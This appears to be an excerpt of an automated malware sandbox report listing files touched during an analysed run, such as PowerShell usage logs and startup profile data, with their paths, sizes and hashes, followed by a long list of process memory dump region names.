MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Users\Admin\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 2KB
SHA256 84739c608a73509419748e4e20e6cc4e1846056c3fe1929a8300d5a1a488202f
MD5 d85ba6ff808d9e5444a4b369f5bc2730
SHA1 31aa9d96590fff6981b315e0b391b575e4c0804a
SHA512 8c414eb55b45212af385accc16d9d562adba2123583ce70d22b91161fe878683845512a78f04dedd4ea98ed9b174dbfa98cf696370598ad8e6fbd1e714f1f249
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 944B
SHA256 2360634e63e8f0b5748e2c56ebb8f4aa78e71008ea7b5c9ca1c49be03b49557d
MD5 6d3e9c29fe44e90aae6ed30ccf799ca8
SHA1 c7974ef72264bbdf13a2793ccf1aed11bc565dce
SHA512 60c38c4367352537545d859f64b9c5cbada94240478d1d039fd27b5ecba4dc1c90051557c16d802269703b873546ead416279c0a80c6fd5e49ad361cef22596a
MD5 SHA1 SHA512

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StartupProfileData-NonInteractive

Path C:\Users\Admin\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 ed966170aad629aa60d3d5c4a3474242c0841aed3c99f1ae6f08f72684fbe209
MD5 2db0b97ea6cdcaf0d2bc547f9e0e8009
SHA1 31d4a993ac23299c93031aa61c8bef87d9ec5b9c
SHA512 fea31153b44391515446a7eb68a59ec42659514b837b63c4e18612b20f2f84f36693d2d33059302a4ab27ba1ade7b88e46144104043f18f3562b1b8f55a64909
MD5 SHA1 SHA512

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__PSScriptPolicyTest_me5crjql.4rs.ps1

Path C:\Users\Admin\AppData\Local\Temp\__PSScriptPolicyTest_me5crjql.4rs.ps1
Size 60B
SHA256 96ad1146eb96877eab5942ae0736b82d8b5e2039a80d3d6932665c1a4c87dcf7
MD5 d17fe0a3f47be24a6453e9ef58c94641
SHA1 6ab83620379fc69f80c0242105ddffd7d98d5d9d
SHA512 5b592e58f26c264604f98f6aa12860758ce606d1c63220736cf0c779e4e18e3cec8706930a16c38b20161754d1017d1657d35258e58ca22b18f5b232880dec82
MD5 SHA1 SHA512

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powershell.exe.log

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.exe.log
Size 4KB
SHA256 e3274ce8296f2cd20e3189576fbadbfa0f1817cdf313487945c80e968589a495
MD5 bdb25c22d14ec917e30faf353826c5de
SHA1 6c2feb9cea9237bc28842ebf2fea68b3bd7ad190
SHA512 b5eddbfd4748298a302e2963cfd12d849130b6dcb8f0f85a2a623caed0ff9bd88f4ec726f646dbebfca4964adc35f882ec205113920cb546cc08193739d6728c
SSDEEP 96:iq3NYqGeHo9xrLSdx4qKkq3qktznENYrhGaq66iNLm0RIzoZcBPQhDAyRLcxZpoG:iqdYqGAjdx4qKkq3qktznEuZq6FIzoI
MD5 SHA1 SHA512 SSDEEP

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StartupProfileData-NonInteractive

Path C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive
Size 1KB
SHA256 8ed3b348989cdc967d1fc0e887b2a2f5a656680d8d14ebd3cb71a10c2f55867a
MD5 b42c70c1dbf0d1d477ec86902db9e986
SHA1 1d1c0a670748b3d10bee8272e5d67a4fabefd31f
SHA512 57fb278a8b2e83d01fac2a031c90e0e2bd5e4c1a360cfa4308490eb07e1b9d265b1f28399d0f10b141a6438ba92dd5f9ce4f18530ec277fece0eb7678041cbc5
MD5 SHA1 SHA512

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memory/532-33-0x00007FF8BC000000-0x00007FF8BCAC1000-memory.dmp

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memory/532-18-0x00007FF8BC000000-0x00007FF8BCAC1000-memory.dmp

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memory/532-19-0x00007FF8BC000000-0x00007FF8BCAC1000-memory.dmp

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memory/532-30-0x00007FF8BC000000-0x00007FF8BCAC1000-memory.dmp

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memory/532-31-0x00007FF8BC000000-0x00007FF8BCAC1000-memory.dmp

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memory/1404-70-0x00000272AA8B0000-0x00000272AA8CC000-memory.dmp

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memory/1404-72-0x00000272AA8F0000-0x00000272AA90A000-memory.dmp

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memory/1404-75-0x00000272AA8E0000-0x00000272AA8EA000-memory.dmp

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memory/1404-74-0x00000272AA8D0000-0x00000272AA8D6000-memory.dmp

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memory/1404-73-0x00000272AA8A0000-0x00000272AA8A8000-memory.dmp

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memory/1404-67-0x00000272AA670000-0x00000272AA68C000-memory.dmp

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memory/1404-68-0x00000272AA690000-0x00000272AA745000-memory.dmp

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memory/1404-69-0x00000272AA660000-0x00000272AA66A000-memory.dmp

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memory/1404-71-0x00000272AA890000-0x00000272AA89A000-memory.dmp

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memory/3440-112-0x00007FF66A870000-0x00007FF66A886000-memory.dmp

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memory/3440-108-0x00007FF66A870000-0x00007FF66A886000-memory.dmp

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memory/4080-12-0x00007FF8BC000000-0x00007FF8BCAC1000-memory.dmp

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memory/4080-13-0x00007FF8BC000000-0x00007FF8BCAC1000-memory.dmp

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memory/4080-16-0x00007FF8BC000000-0x00007FF8BCAC1000-memory.dmp

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memory/4080-2-0x000001E3F3E70000-0x000001E3F3E92000-memory.dmp

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memory/4080-1-0x00007FF8BC003000-0x00007FF8BC005000-memory.dmp

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memory/4532-107-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-130-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-106-0x0000021DBC380000-0x0000021DBC3A0000-memory.dmp

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memory/4532-166-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-109-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-164-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-111-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-162-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-113-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-114-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-116-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-118-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-120-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-122-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-124-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-126-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-128-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-160-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-132-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-134-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-136-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-138-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-140-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-142-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-144-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-146-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-148-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-150-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-152-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-154-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-156-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4532-158-0x00007FF79F490000-0x00007FF79FC84000-memory.dmp

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memory/4664-105-0x00007FF7ABCA0000-0x00007FF7ABEB1000-memory.dmp

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memory/4664-48-0x00007FF7ABCA0000-0x00007FF7ABEB1000-memory.dmp

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memory/4680-35-0x00007FF6BAD70000-0x00007FF6BAF81000-memory.dmp

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memory/4680-0-0x00007FF6BAD70000-0x00007FF6BAF81000-memory.dmp

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